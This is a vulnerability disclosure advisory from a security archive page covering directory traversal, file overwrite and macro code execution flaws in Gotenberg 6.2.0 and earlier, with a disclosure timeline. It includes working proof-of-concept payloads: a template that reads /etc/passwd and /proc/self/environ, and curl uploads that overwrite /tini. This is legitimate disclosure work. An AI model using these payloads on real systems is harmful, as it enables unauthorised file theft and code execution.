Gotenberg 6.2.0 Traversal / Code Execution / Insecure Permissions

Authored by Blazej Adamczyk | Posted Jan 4, 2021

Gotenberg versions 6.2.0 and below suffer from directory traversal, code execution, and insecure permission vulnerabilities.

tags | exploit, vulnerability, code execution, file inclusion
advisories | CVE-2020-13449, CVE-2020-13450, CVE-2020-13451, CVE-2020-13452
SHA-256 | 78afb81c3f13565ecf21d0d3ec82d21cd97235cd78fb39359e943354ed217fce Download | Favorite | View

Related Files

Change Mirror Download

```
1 Multiple vulnerabilities in Gotenberg <= 6.2.0
================================================

  Multiple vulnerabilities in Gotenberg (a Docker-powered stateless API
  for converting HTML, Markdown and Office documents to PDF used as a
  microservice) version <=6.2.0 allow a remote unauthenticated attacker
  to execute any command within Docker container.

  CVSSv3.1 chained score: 9.8 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)

  Disclosure summary: [https://sploit.tech/2020/12/29/Gotenberg.html]

  Write-up: [https://blazej-adamczyk.medium.com/0-day-bug-breaks-multi-million-dollar-system-38c9e31b27e9]

  Exploit code: [https://github.com/br0xpl/gotenberg_hack]

  Video: [https://youtu.be/NAv8qovLtgI]


1.1 Download tirectory traversal
--------------------------------

  CVE: CVE-2020-13449

  Vendor: [https://www.thecodingmachine.com]

  Product: Gotenberg ([https://github.com/thecodingmachine/gotenberg])

  Version: <=6.2.1

  Description: Directory traversal vulnerability in Markdown engine of
  Gotenberg version 6.2.1 and lower allows unauthorized attacker to read
  any container files.

  PoC:
  1. Create index.html file:
     ┌──
     │ <!doctype html>
     │ <html lang="en">
     │   <head>
     │     <meta charset="utf-8">
     │     <title>My PDF</title>
     │   </head>
     │   <body>
     │     <pre style="white-space: pre-wrap;">
     │       Path:
     │       {{ .DirPath }}
     │       PASSWD:
     │       {{ toHTML .DirPath "../../../../etc/passwd" }}
     │       IP:
     │       {{ toHTML .DirPath "../../../../proc/net/fib_trie" }}
     │       TCP:
     │       {{ toHTML .DirPath "../../../../proc/net/tcp" }}
     │       env:
     │       {{ toHTML .DirPath "../../../../proc/self/environ" }}
     │     </pre>
     │   </body>
     │ </html>
     └──
  2. Call markdown endpoint:
     ┌──
     │ $ curl 'http://$URL_GOTENBERG/convert/markdown' --form files=@index.html\
     │ -o result.pdf --header 'Content-Type: multipart/form-data'
     └──


1.2 Upload directory traversal
------------------------------

  CVE: CVE-2020-13450

  Vendor: [https://www.thecodingmachine.com]

  Product: Gotenberg ([https://github.com/thecodingmachine/gotenberg])

  Version: <=6.2.1

  Description: Directory traversal vulnerability in file upload function
  of Gotenberg version 6.2.1 and lower allows unauthorized attacker to
  upload and overwrite any writeable files outside the desired folder.

  This can lead to DoS, change program behaviour or even to code
  execution (see CVE-2020-13451).

  PoC:
  ┌──
  │ curl 'http://$URL_GOTENBERG/convert/markdown' --form files=@index.html \
  │ --form "files=@tini;filename=../../../tini" -o res.pdf\
  │ --header 'Content-Type: multipart/form-data'
  └──


1.3 Code exec vulnerability using incomplete cleanup vulnerability
------------------------------------------------------------------

  CVE: CVE-2020-13451

  Vendor: [https://www.thecodingmachine.com]

  Product: Gotenberg ([https://github.com/thecodingmachine/gotenberg])

  Version: <=6.2.0

  Description: Incomplete cleanup vulnerability in Office rendering
  engine of Gotenberg version 6.2.1 and lower allows unauthorized
  attacker (using a different vulnerability like CVE-2020-13450) to
  overwrite libreoffice config (profile) files and execute arbitrary
  code using macros.

  Gotenberg creates libreoffice profile when office endpoint is called
  in tmp choosing a folder with a name based on random ephemeral port
  number chosen by kernel. What is most important after finishing
  request the profile folder is not removed. Thus using a file upload
  vulnerability like the one described in CVE-2020-13450 an attacker can
  modify the profile preparing a macro which is going to be executed
  next time the same random profile will be reused.

  Analyzing kernel sources, in default kernel config, there will be
  about 14115 different ports choosen at random. The hack requires to
  retry many times but works reliably.
```


File Archive: December 2022 <

Su	Mo	Tu	We	Th	Fr	Sa
				1	2	3
4	5	6	7	8	9	10
11	12	13	14	15	16	17
18	19	20	21	22	23	24
25	26	27	28	29	30	31

Top Authors In Last 30 Days

- Red Hat 150 files
- Ubuntu 68 files
- LiquidWorm 23 files
- Debian 16 files
- malvuln 11 files
- nu11secur1ty 11 files
- Gentoo 9 files
- Google Security Research 6 files
- Julien Ahrens 4 files
- T. Weber 4 files

File Tags

ActiveX (932)
Advisory (79,754)
Arbitrary (15,694)
BBS (2,859)
Bypass (1,619)
CGI (1,018)
Code Execution (6,926)
Conference (673)
Cracker (840)
CSRF (3,290)
DoS (22,602)
Encryption (2,349)
Exploit (50,359)
File Inclusion (4,165)
File Upload (946)
Firewall (821)
Info Disclosure (2,660)
Intrusion Detection (867)
Java (2,899)
JavaScript (821)
Kernel (6,291)
Local (14,201)
Magazine (586)
Overflow (12,419)
Perl (1,418)
PHP (5,093)
Proof of Concept (2,291)
Protocol (3,435)
Python (1,467)
Remote (30,044)
Root (3,504)
Ruby (594)
Scanner (1,631)
Security Tool (7,777)
Shell (3,103)
Shellcode (1,204)
Sniffer (886)

File Archives

December 2022
November 2022
October 2022
September 2022
August 2022
July 2022
June 2022
May 2022
April 2022
March 2022
February 2022
January 2022
Older

Systems

AIX (426)
Apple (1,926)
BSD (370)
CentOS (55)
Cisco (1,917)
Debian (6,634)
Fedora (1,690)
FreeBSD (1,242)
Gentoo (4,272)
HPUX (878)
iOS (330)
iPhone (108)
IRIX (220)
Juniper (67)
Linux (44,315)
Mac OS X (684)
Mandriva (3,105)
NetBSD (255)
OpenBSD (479)
RedHat (12,469)
Slackware (941)
Solaris (1,607)

```
  Exploit code: [https://github.com/br0xpl/gotenberg_hack]


1.4 Insecure permissions of main executable
-------------------------------------------

  CVE: CVE-2020-13452

  Vendor: [https://www.thecodingmachine.com]

  Product: Gotenberg ([https://github.com/thecodingmachine/gotenberg])

  Version: <=6.2.1

  Description: Insecure permissions of /tini (writeable by user
  gotenberg) file potentially allows an attacker to overwrite the file
  what can lead to Deny of Service or even code execution.


2 Timeline
==========

  • 25.05.2020 - Reported an issue:
    [[https://github.com/thecodingmachine/gotenberg/issues/199]].
  • 04.06.2020 - Author confirms the issues and works on a fix.
  • 05.06.2020 - Pull request
    [[https://github.com/thecodingmachine/gotenberg/pull/208]] created.
  • 22.06.2020 - Fix merged to version 6.3.0.


3 Credits
=========

  Author: Blazej Adamczyk | [https://sploit.tech/]

  Team: Efigo [https://efigo.pl/]
```